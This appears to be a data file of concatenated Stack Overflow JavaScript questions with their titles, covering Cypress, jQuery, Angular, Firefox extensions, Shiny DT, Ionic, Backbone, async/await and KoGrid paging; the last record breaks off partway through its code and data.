wait 5 secs.This is my code . Any help or hints are appreciated : The last checkis not successful , because the xhr request is not yet finished.The xhr request is being fired , when the click on the icon is done : Here an image of the xhr request , if that helps to find the error : Thanks for any help . describe ( 'test ' , ( ) = > { it ( 'should open homepage , page `` history '' , click on English language , click on German language ' , ( ) = > { cy.server ( ) ; cy.route ( 'POST ' , '/ajax.php ' ) .as ( 'request ' ) ; cy.visit ( 'http : //localhost:1234/history ' ) ; cy.wait ( ' @ request ' ) ; cy.get ( 'div [ class= '' cursorPointer flagSelect flag-icon-gb '' ] ' ) .click ( { force : true } ) ; cy.route ( 'POST ' , '/ajax.php ' ) .as ( 'request ' ) ; cy.wait ( [ ' @ request ' ] ) ; //cy.wait ( 5000 ) ; // < - this works , but seems to be not the best way cy.get ( 'h2 ' ) .should ( ( $ res ) = > { expect ( $ res ) .to.contain ( 'History ' ) ; } ) cy.get ( '.dataContainer ' ) .find ( '.container ' ) .should ( 'have.length ' , 8 ) ; } ) ; } ) ; cy.get ( '.dataContainer ' ) .find ( '.container ' ) .should ( 'have.length ' , 8 ) ; cy.get ( 'div [ class= '' cursorPointer flagSelect flag-icon-gb '' ] ' ) .click ( { force : true } ) ;",Cypress - How to wait for XHR request "JS : I am designing a summary container for the author page in a book publishing website . Some authors have more summary content while others have less content . I want to enable/ disable show more/less button dynamically when the height of the div container crosses a cutoff height ( 180px ) . So , it turns out to control the height of the div container dynamically ( 180px and original height ) . I need a piece of code which works perfectly in all browsers.I have got a code implemented here : http : //jsfiddle.net/rraagghhu/9dgs6432/3/HTML : CSS : Jquery : As you can see , the footer stays at the absolute position . If the more button is clicked , the ( less ) should come down , below that should come the footer . Is it possible to enable/disable the show more/less button dynamically when the browser is shrunk/expanded ? < div class = `` container '' > < div class= '' info-wrapper '' > < div class= '' info '' > Chetan Bhagat is the author of six blockbuster books.These include five novels—Five Point Someone ( 2004 ) , One Night @ the Call Center ( 2005 ) , The 3 Mistakes of My Life ( 2008 ) , 2 States ( 2009 ) , Revolution 2020 ( 2011 ) , the non-fiction title What Young India Wants ( 2012 ) and Half Girlfriend ( 2014 ) . Chetan ’ s books have remained bestsellers since their release . Four out his five novels have been already adapted into successful Bollywood films and the others are in process of being adapted as well . The New York Times called him the ‘ the biggest selling English language novelist in India ’ s history ’ . Time magazine named him amongst the ‘ 100 most influential people in the world ’ and Fast Company , USA , listed him as one of the world ’ s ‘ 100 most creative people in business ’ . Chetan writes columns for leading English and Hindi newspapers , focusing on youth and national development issues . He is also a motivational speaker and screenplay writer . Chetan quit his international investment banking career in 2009 to devote his entire time to writing and make change happen in the country . He lives in Mumbai with his wife , Anusha , an ex-classmate from IIM-A , and his twin boys , Shyam and Ishaan . You can email him at info @ chetanbhagat.com or fill in the Guestbook with your feedback . You can also follow him on twitter ( @ chetan_bhagat ) or like his Facebook fanpage ( https : //www.facebook.com/chetanbhagat.fanpage ) . < /div > < a href= '' # '' class= '' more '' > ( more ) < /a > < a href= '' # '' class= '' less '' > ( less ) < /a > < /div > < div class = `` footer '' > THIS IS FOOTER < /div > < /div > .container { background-color : yellow ; } .footer { background-color : yellow ; } .info-wrapper { height : auto ; position : relative ; width : auto ; padding : 0 0 2.5em 0 ; background-color : red ; } .info { max-height : 180px ; height : auto ; width : auto ; overflow : hidden ; position : relative ; text-align : justify ; } .info : after , .aftershadow { bottom : 0 ; width : auto ; height : auto ; } .info-wrapper a { left : 50 % ; position : relative ; font : 700 .67em/1.25em Arial ; text-align : center ; text-decoration : underline ; cursor : pointer ; } .less { height : auto ; display : none ; } .more { display : none ; } if ( $ ( `` .info '' ) [ 0 ] .scrollHeight > $ ( `` .info '' ) .height ( ) ) { $ ( `` a.more '' ) .show ( ) ; } $ ( `` a.more '' ) .click ( function ( e ) { e.preventDefault ( ) ; $ ( `` .info '' ) .css ( { `` overflow '' : `` visible '' } ) ; $ ( `` a.less '' ) .show ( ) ; $ ( `` a.more '' ) .hide ( ) ; return false ; } ) ; $ ( `` a.less '' ) .click ( function ( e ) { e.preventDefault ( ) ; $ ( `` .info '' ) .css ( { `` overflow '' : `` hidden '' } ) ; $ ( `` a.more '' ) .show ( ) ; $ ( `` a.less '' ) .hide ( ) ; return false ; } ) ;",How to trigger a show or hide operation based on div size when the browser is resized "JS : I am using semantic-ui react to render a table of data . My requirement is that when the page is on mobile view , I hide certain columns . I tried using className= '' mobile hidden '' on the Table.Cell element but this does n't seem to work at all . Then I tried using the Responsive component like below but I am getting an error . Am I missing something here ? Unable to find anyone else having this issue ... I get this error in the console when resizing the window ... < Responsive as= { Table.Cell } minWidth= { Responsive.onlyMobile.minWidth } > { record.datapoint } < /Responsive > index.js:2177 Warning : Can only update a mounted or mounting component . This usually means you called setState , replaceState , or forceUpdate on an unmounted component . This is a no-op.Please check the code for the Responsive component .",semantic-ui-react < Responsive > not working for < Table.Cell > "JS : My code is very simple : Now when changing the src I see black video . What I would like to do is set the last frame of the previous src video as the thumbnail while the new src is loading.How do you think i can achieve this ? Thanks , any help appreciated < video ng-controller= '' Ctrl '' ng-src= '' scopeSRC '' autoplay > < /video > .controller ( 'Ctrl ' , function ( $ scope , $ timeout ) { $ scope.scopeSRC = 'a_src_url ' ; $ timeout ( function ( ) { $ scope.scopeSRC = 'new_src_url ' ; } , 5000 ) ; } ) ;",Angular - capture last < video > frame as video poster/thumb "JS : I have an es6-class instance and I need to get all its properties ( and inherited properties too ) . Is there a way to do this without traversing prototype chain ? class A { get a ( ) { return 123 ; } } class B extends A { get b ( ) { return 456 ; } } const b = new B ( ) ; for ( let prop in b ) { console.log ( prop ) ; //nothing } console.log ( Object.keys ( b ) ) ; //empty arrayconsole.log ( Object.getOwnPropertyNames ( b ) ) ; //empty arrayconsole.log ( Reflect.ownKeys ( b ) ) ; //empty arrayconsole.log ( Object.keys ( Object.getPrototypeOf ( b ) ) ) ; //empty arrayconsole.log ( Object.getOwnPropertyNames ( Object.getPrototypeOf ( b ) ) ) ; // [ `` contructor '' , `` b '' ] -- without `` a '' console.log ( Reflect.ownKeys ( Object.getPrototypeOf ( b ) ) ) ; // [ `` contructor '' , `` b '' ] -- without `` a ''",How to iterate over all properties in object 's prototype chain ? "JS : I 'm working on a canvas graph that 's updated in real time with information we 're displaying to a customer , and were in the process of preparing for the DST change on the clocks . One of our requirements is for the graph to carry on functioning as usual without the need for the customer to refresh the page when the clocks switch over.While working on this problem , I found out about this bug with Firefox : https : //bugzilla.mozilla.org/show_bug.cgi ? id=127246Basically the Date ( ) object in JavaScript does n't update in Firefox if the system time is changed without having to close the browser/tab , and as we 're querying an API using the system clock , this is a pretty major problem.I 'm assuming it 's not fixed as the ticket is still marked as 'NEW ' , and I 'm also pretty sure it 's this that 's causing the problem rather than another part of my code , so how can i get the current time of the system clock after it changes in Firefox without having to refresh the page ? FYI the version of Firefox I 'm using is 19.0.2Thanks in advanceExampleSet system clock to 12:00 and open web app ... Set system clock to 13:00 without reopening web app.. var currentHour = new Date ( ) .getHours ( ) //returns 12 var currentHour = new Date ( ) .getHours ( ) //returns 12",Need workaround for Firefox Date ( ) bug "JS : I have a Firefox extension that modifies the content of the page that the user is looking at . As part of that process the extension needs to trigger a custom event that the extension itself adds to the page source . I am having difficulties passing parameters to that custom event . What am I doing wrong ? Script block inserted into the head of the page : Code in the extension : The event gets triggered successfully , but e.index is undefined.I managed to get it working by creating an element on the page and then having the event handler find the element and read its attributes , but it did n't feel elegant . I want to do it without the element.EDIT : I also tried triggering the event with CustomEvent , but it throws an exception in the handler : Permission denied to access property 'detail ' document.addEventListener ( `` show-my-overlay '' , EX_ShowOverlay , false , false , true ) ; function EX_ShowOverlay ( e ) { alert ( 'Parameter : ' + e.index ) ; // ... } var event = content.document.createEvent ( `` Events '' ) ; event.initEvent ( `` show-my-overlay '' , true , true ) ; event [ 'index ' ] = 123 ; content.document.dispatchEvent ( event ) ; var event = new CustomEvent ( 'show-my-overlay ' , { detail : { index : 123 } } ) ; content.document.dispatchEvent ( event ) ; function EX_ShowOverlay ( e ) { alert ( 'Parameter : ' + e.detail.index ) ; // ... }",Triggering a custom event with attributes from a Firefox extension "JS : I 've seen many tutorials on the new EMCA promises advocating avoidance of the `` promises '' in the jQuery library . They usually say that you can dodge them by doing something like this : However , this does n't really work when I have to chain two async jQuery functions together . How would I chain two getJSON calls ( where the second call depends on the first ) together without using jQuery 's then ( ) or .when ( ) ? Instead , I only want to use Promise.all etc . I think a similar question problem would be interleaving jquery and EMCA promises ? Promise.resolve ( $ .getJSON ( url , params ) ) ; // voila ! the jQuery promise is `` gone '' !",How to dodge jQuery promises completely when chaining two async jQuery functions ? "JS : I have a HTML container with some contents , including texts nodes and other tags : I want to use jQuery to hide everything in that container except the input tag.The link `` A link '' is removed , but the texts before and after the input still remains.What is the right way to hide a text that is a direct child of a DOM element ? You can play with that example on jsfiddle < div id= '' container '' > A text outside any tag < br/ > < input type= '' button '' id= '' iii '' value= '' xxx '' / > Another text < br/ > < a href= '' # '' > A link < /a > < /div > // Hide all the node $ ( `` # container '' ) .contents ( ) .hide ( ) ; // First try to hide texts $ ( `` # container '' ) .contents ( ) .filter ( `` : text '' ) .hide ( ) ; // Second try $ ( `` # container '' ) .contents ( ) .filter ( function ( ) { return this.nodeType === 3 ; } ) .hide ( ) ; // Show the desired element $ ( `` # container # iii '' ) .show ( ) ;","jQuery : hide everything in a container , except one node" "JS : TL ; DR : How to force drawing datatable when it is on inactive tab but its input changes ? A have a shiny app which looks like that : My problem is the following : When the input ( input $ random_value ) changes while the tab test_render ( i.e. , the one with DT ) is open , everything works properly . However , when the tab containing DT is not active while the user changes its input , DT does not get updated , even though suspendWhenHidden = FALSE is set and renderDT seems to be called.I have found an open issue complaining about similar problem but no solution was offered . I have also found this question and tried to adapt it to my problem . So far I am successful with updating DT by running $ ( `` # dt_test table '' ) .DataTable ( ) .draw ( ) ; from browser console . DT also gets updated when it is clicked ( e.g. , on the sort button ) .I am looking for a way to update DT immediately on input changes ( or its initialization ) , no matter if it is on active panel or not . A special case of this problem that is especially troublesome is when the app is started -- DT is not rendered immediately . It seems the drawing starts only when the tab on which it 's located is opened ( it shows Processing ... ) . In my actual app this introduces couple of seconds lag -- that 's why I want to force processing DT while the user is looking at some other tab.I experimented with including a javascript file that runs $ ( `` # dt_test table '' ) .DataTable ( ) .draw ( ) ; on various events but so far without success.Is there a way to achieve what I am looking for with the aforementioned events or any other method ? library ( shiny ) library ( DT ) shinyApp ( ui = fluidPage ( sidebarLayout ( sidebarPanel ( numericInput ( inputId = `` random_val '' , label = `` pick random value '' , value = 1 ) ) , mainPanel ( tabsetPanel ( id = `` tabset '' , tabPanel ( title = `` some_other_tab '' , `` Some other stuff '' ) , tabPanel ( title = `` test_render '' , textOutput ( `` echo_test '' ) , DTOutput ( `` dt_test '' ) ) ) ) ) ) , server = function ( input , output ) { output $ echo_test < - renderText ( { cat ( `` renderText called \n '' ) input $ random_val } ) outputOptions ( output , `` echo_test '' , suspendWhenHidden = FALSE ) output $ dt_test < - renderDT ( { cat ( `` renderDT called \n '' ) df < - data.frame ( a = 1:10^6 , b = rep ( input $ random_val , 10^6 ) ) datatable ( df ) } ) outputOptions ( output , `` dt_test '' , suspendWhenHidden = FALSE ) } )",Shiny : update DT on inactive tabPanel "JS : I 'm trying to add ng-click to a button . My HTML : < button class= '' btn '' > clicky < /button > And the directive : It removes clicky from the element.Transclude does n't help . Thanks for any answers . angular.module ( 'app ' ) .directive ( 'btn ' , function ( ) { return { restrict : ' C ' , replace : true , scope : true , transclude : true , template : ' < button ng-click= '' onClick ( ) '' > < /button > ' } ; } ) ;",How to have a directive template keep element content ? "JS : We have an Ionic app that accesses $ cordovaCamera like so : There are more options passed in , etc. , but the above is just showing that we 're passing in the allowEdit flag . If anyone is unfamiliar , here 's what the docs say : allowEdit : Allow simple editing of image before selection . ( Boolean ) This works perfectly . After I select a picture from the gallery or take a picture , it then goes to its native `` edit '' view , where the user can crop the image.Here 's the flow : On Android , you can resize the crop field and move the crop field around.On iOS , you ca n't move the crop field ( unless you zoom in first ) , and you ca n't resize the crop field at all.Is this just an iOS quirk we have to live with , or is there some way to get around this ? This is happening in iOS 8.3.Screenshots coming soonEditHere 's the video demonstrating the problem.At 0:16 you 'll see that it 's impossible to move the crop box . ( This is happening on an iPod Touch with iOS 8.2 , but it is also happening on several iPhone 6 devices with both iOS 8.2 and 8.3 ) . However , this does not occur on Android . Thus , it seems reasonable to believe this is native iOS issue rather than an Ionic/Cordova issue ( or , it may be an issue with the way Ionic interacts with iOS ) .At 0:22 you 'll that once the user zooms in , then the user can actually move the crop box.Another update ( this is important ) Only when taking a photo does this bug occur . When you select an existing photo from your library , the crop tool works as expected ... $ cordovaCamera.getPicture ( { allowEdit : true } ) ; Take Photo > Edit ( crop ) > Upload to the interwebsSelect Photo > Edit ( crop ) > Upload to the interwebs",How can you move this buggy native crop box in a hybrid app ? "JS : So I am playing around with backbone and have gotten to the put where loading direct pages that use pushState do n't work properly . if I try to go to my.url.com/login it gives me a not found page which it should because that directly does not exist . I have the following rewrite rule : hoever this does not seems to work ( thought with it I get a bad request instead of not found ) . How can I get pushState url to load properly with mod rewrite ? RewriteEngine OnRewriteCond % { DOCUMENT_ROOT } % { REQUEST_FILENAME } ! -fRewriteCond % { DOCUMENT_ROOT } % { REQUEST_FILENAME } ! -dRewriteRule ( . * ) index.html [ L , QSA ]",Backbone.js and mod rewrite "JS : I 'm getting used to the proposed async/await syntax and there 's some unintuitive behavior . Inside the `` async '' function , I can console.log the correct string . However , when I try to return that string , instead , it returns a promise . Checking this entry : async/await implicitly returns promise ? , it 's pretty clear that any `` async function ( ) '' will return a promise , NOT a value . That 's fine . But how do you get access to the value ? If the only answer is `` a callback '' , that 's fine - but I was hoping there might be something more elegant . // src // ==========================================require ( `` babel-polyfill '' ) ; var bcrypt = require ( 'bcrypt ' ) ; var saltAndHash = function ( password ) { var hash ; return new Promise ( function ( resolve , reject ) { bcrypt.genSalt ( 10 , function ( err , salt ) { bcrypt.hash ( password , salt , function ( err , hash ) { resolve ( hash ) ; } ) ; } ) ; } ) } var makeHash = async function ( password ) { var hash = await saltAndHash ( password ) ; console.log ( `` inside makeHash '' , hash ) ; return ( hash ) ; } // from test suite// ==========================================describe ( 'Bcrypt Hashing ' , function ( ) { it ( 'should generate a hash ' , function ( ) { var hash = makeHash ( 'password ' ) ; console.log ( `` inside test : `` , hash ) ; should.exist ( hash ) ; } ) } ) // output to console : // ========================================== inside test : Promise { _d : { p : [ Circular ] , c : [ ] , a : undefined , s : 0 , d : false , v : undefined , h : false , n : false } } inside MakeHash $ 2a $ 10 $ oUVFL1geSONpzdTCoW.25uaI/LCnFqeOTqshAaAxSHV5i0ubcHfV6 // etc // ========================================== // .babelrc { `` presets '' : [ `` es2015 '' , `` stage-0 '' , `` react '' ] }",Getting value from returned promise from async function "JS : Consider this JSON response : This works fine for small amount of data , but when you want to serve larger amounts of data ( say many thousand records for example ) , it seems logical to prevent those repetitions of property names in the response JSON somehow.I Googled the concept ( DRYing JSON ) and to my surprise , I did n't find any relevant result . One way of course is to compress JSON using a simple home-made algorithm and decompress it on the client-side before consuming it : However , a best practice would be better than each developer trying to reinvent the wheel . Have you guys seen a well-known widely-accepted solution for this ? [ { Name : 'Saeed ' , Age : 31 } , { Name : 'Maysam ' , Age : 32 } , { Name : 'Mehdi ' , Age : 27 } ] [ [ 'Name ' , 'Age ' ] , [ 'Saeed ' , 31 ] , [ 'Maysam ' , 32 ] , [ 'Mehdi ' , 27 ] ]",Is there any well-known method for DRYing JSON "JS : Im creating a 8 bit unsigned javascript array : Manipulating this array on both client and server , then sending it over a socket.io connection . We are writing a game thus the data sent over the wire as small as possible . as socket.io does not support sending binary data is it worth bothering with javascript typed arrays or should we just use normal javascript arrays ? will they still be smaller then a native js array ? var myArray = Uint8Array ( 64 ) ;",Javascript typed arrays `` over the wire '' "JS : I 'm making a Firefox extension and I 'm failing to play a sound that 's located in add-on 's data directory.The first thing I 've tried was playing it in a content script this way : where self.options.soundFile is an option that refers to a resource file in data directory . But I meet security restrictions : Then I 've found a way to play sounds in main.js script ( here : How to play audio in an extension ? ) : This one fails with the following exception : If I replace sound.play ( ... ) with sound.beep , I get a nice default system sound . So , there should be something wrong with passing resource path to the function.If it matters in any way , I 'm using online Add-on Builder.Please suggest a solution of playing a solution of playing extension audio resources . var soundFile = self.options.soundFile ; ( new Audio ( soundFile ) ) .play ( ) ; Security Error : Content at http : //example.com may not load or link to resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/stackoverflow-reiew-helper/data/complete.oga . var data = require ( 'sdk/self ' ) .data ; exports.main = function ( ) { var { Cc , Ci } = require ( `` chrome '' ) ; var sound = Cc [ `` @ mozilla.org/sound ; 1 '' ] .createInstance ( Ci.nsISound ) ; sound.play ( data.url ( 'complete.oga ' ) ) ; } ; NS_ERROR_XPC_BAD_CONVERT_JS : Could not convert JavaScript argument arg 0 [ nsISound.play ] undefined 8Traceback ( most recent call last ) : File `` resource : //gre/modules/NetUtil.jsm '' , line 140 , in null aCallback ( pipe.inputStream , aStatusCode , aRequest ) ; File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/net/url.js '' , line 49 , in null resolve ( data ) ; File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 123 , in then else result.then ( resolved , rejected ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 55 , in effort try { return f ( options ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 143 , in resolve while ( pending.length ) result.then.apply ( result , pending.shift ( ) ) File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 37 , in then return { then : function then ( resolve ) { resolve ( value ) } } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 117 , in resolved function resolved ( value ) { deferred.resolve ( resolve ( value ) ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/core/promise.js '' , line 55 , in effort try { return f ( options ) } File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/addon/runner.js '' , line 90 , in onLocalizationReady run ( options ) ; File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/addon-sdk/lib/sdk/addon/runner.js '' , line 134 , in run quit : exit File `` resource : //jid0-a02no8rrtu2pbize7g7sszzo0z8-at-jetpack/stackoverflow-reiew-helper/lib/main.js '' , line 8 , in exports.main sound.play ( data.url ( 'complete.oga ' ) ) ;",Play audio from firefox extension 's data directory "JS : I 'm trying to make paging work with the KnockoutJs KOGrid . I 've been following this : http : //knockout-contrib.github.io/KoGrid/ # pagingThe data that I 'm passing into my view model ( the vm param ) contains the following : My knockout view model is as follows : Andy my html ( Asp.Net MVC Razor view ) is : When the page loads , the following error is being thrown from within kogrid.js Uncaught TypeError : grid.sortedData.peek ( ... ) .filter is not a functionIf I inspect the sortedData property of the grid object it looks ok : The last line of my knockout viewmodel js to execute is self.myData ( pagedData ) ; within the this.SetPagingData function.Using Fiddler I pulled the following out of the response from the server : Where did I go wrong ? function ViewModel ( vm ) { var self = this ; this.myData = ko.observableArray ( [ ] ) ; this.rows = ko.observableArray ( vm.Rows ) ; this.deleteInvisibleColumns = function ( ) { for ( var i = 0 ; i < vm.Rows.length ; i++ ) { var row = vm.Rows [ i ] ; var keys = Object.keys ( row ) ; for ( var k = 0 ; k < keys.length ; k++ ) { if ( vm.VisibleColumns.indexOf ( keys [ k ] ) === ( -1 ) ) { delete row [ keys [ k ] ] ; } ; } ; } ; } ; self.deleteInvisibleColumns ( ) ; this.filterOptions = { filterText : ko.observable ( `` '' ) , useExternalFilter : true } ; this.pagingOptions = { pageSizes : ko.observableArray ( [ 2 , 500 , 1000 ] ) , pageSize : ko.observable ( 2 ) , totalServerItems : ko.observable ( 0 ) , currentPage : ko.observable ( 1 ) } ; this.setPagingData = function ( data , page , pageSize ) { var pagedRows = data.Rows.slice ( ( page - 1 ) * pageSize , page * pageSize ) ; var pagedData = { Rows : pagedRows , VisibleColumns : data.VisibleColumns } ; self.myData ( pagedData ) ; self.pagingOptions.totalServerItems ( data.Rows.length ) ; } ; this.getPagedDataAsync = function ( pageSize , page , searchText ) { setTimeout ( function ( ) { var data ; if ( searchText ) { var ft = searchText.toLowerCase ( ) ; $ .getJSON ( '/SampleData/GetDataPage ' , function ( returnedPayload ) { data = returnedPayload.filter ( function ( item ) { return JSON.stringify ( item ) .toLowerCase ( ) .indexOf ( ft ) ! = -1 ; } ) ; self.setPagingData ( data , page , pageSize ) ; } ) ; } else { $ .getJSON ( '/SampleData/GetDataPage ' , function ( returnedPayload ) { self.setPagingData ( returnedPayload , page , pageSize ) ; } ) ; } } , 100 ) ; } ; self.filterOptions.filterText.subscribe ( function ( data ) { self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) , self.filterOptions.filterText ( ) ) ; } ) ; self.pagingOptions.pageSizes.subscribe ( function ( data ) { self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) , self.filterOptions.filterText ( ) ) ; } ) ; self.pagingOptions.pageSize.subscribe ( function ( data ) { self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) , self.filterOptions.filterText ( ) ) ; } ) ; self.pagingOptions.totalServerItems.subscribe ( function ( data ) { self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) , self.filterOptions.filterText ( ) ) ; } ) ; self.pagingOptions.currentPage.subscribe ( function ( data ) { self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) , self.filterOptions.filterText ( ) ) ; } ) ; self.getPagedDataAsync ( self.pagingOptions.pageSize ( ) , self.pagingOptions.currentPage ( ) ) ; this.gridOptions = { data : self.myData , enablePaging : true , pagingOptions : self.pagingOptions , filterOptions : self.filterOptions } ; } ; @ model ESB.BamPortal.Website.Models.SampleDataViewModel @ using System.Web.Script.Serialization @ { ViewBag.Title = `` Sample Data '' ; Layout = `` ~/Views/Shared/_Layout.cshtml '' ; } < h2 > @ ViewBag.Title < /h2 > @ { string data = new JavaScriptSerializer ( ) .Serialize ( Model ) ; } < div id= '' Knockout '' data-bind= '' koGrid : gridOptions '' > < /div > @ section Scripts { < script src= '' ~/KnockoutVM/SampleData.js '' > < /script > < link rel= '' stylesheet '' type= '' text/css '' href= '' ~/Content/KoGrid.css '' > < script type= '' text/javascript '' > var vm = new ViewModel ( @ Html.Raw ( data ) ) ; ko.applyBindings ( vm , document.getElementById ( `` Knockout '' ) ) ; < /script > } self.evalFilter = function ( ) { if ( searchConditions.length === 0 ) { grid.filteredData ( grid.sortedData.peek ( ) .filter ( function ( item ) { < script type= '' text/javascript '' > var vm = new ViewModel ( { `` Rows '' : [ { `` SampleDataId '' :1 , '' Manufacturer '' : '' Ford '' , '' Model '' : '' Escort '' , '' Style '' : '' Hatch '' } , { `` SampleDataId '' :2 , '' Manufacturer '' : '' Vauxhall '' , '' Model '' : '' Cavalier '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :3 , '' Manufacturer '' : '' Rover '' , '' Model '' : '' Montego '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :4 , '' Manufacturer '' : '' Ford '' , '' Model '' : '' Escort '' , '' Style '' : '' Hatch '' } , { `` SampleDataId '' :5 , '' Manufacturer '' : '' Vauxhall '' , '' Model '' : '' Cavalier '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :6 , '' Manufacturer '' : '' Rover '' , '' Model '' : '' Montego '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :7 , '' Manufacturer '' : '' Opel '' , '' Model '' : '' Monza '' , '' Style '' : '' Coupe '' } , { `` SampleDataId '' :8 , '' Manufacturer '' : '' BMW '' , '' Model '' : '' 325i '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :9 , '' Manufacturer '' : '' Ford '' , '' Model '' : '' Escort '' , '' Style '' : '' Hatch '' } , { `` SampleDataId '' :10 , '' Manufacturer '' : '' Vauxhall '' , '' Model '' : '' Cavalier '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :11 , '' Manufacturer '' : '' Rover '' , '' Model '' : '' Montego '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :12 , '' Manufacturer '' : '' Opel '' , '' Model '' : '' Monza '' , '' Style '' : '' Coupe '' } , { `` SampleDataId '' :13 , '' Manufacturer '' : '' BMW '' , '' Model '' : '' 325i '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :14 , '' Manufacturer '' : '' Ford '' , '' Model '' : '' Escort '' , '' Style '' : '' Hatch '' } , { `` SampleDataId '' :15 , '' Manufacturer '' : '' Vauxhall '' , '' Model '' : '' Cavalier '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :16 , '' Manufacturer '' : '' Rover '' , '' Model '' : '' Montego '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :17 , '' Manufacturer '' : '' Opel '' , '' Model '' : '' Monza '' , '' Style '' : '' Coupe '' } , { `` SampleDataId '' :18 , '' Manufacturer '' : '' BMW '' , '' Model '' : '' 325i '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :19 , '' Manufacturer '' : '' Ford '' , '' Model '' : '' Escort '' , '' Style '' : '' Hatch '' } , { `` SampleDataId '' :20 , '' Manufacturer '' : '' Vauxhall '' , '' Model '' : '' Cavalier '' , '' Style '' : '' Saloon '' } , { `` SampleDataId '' :21 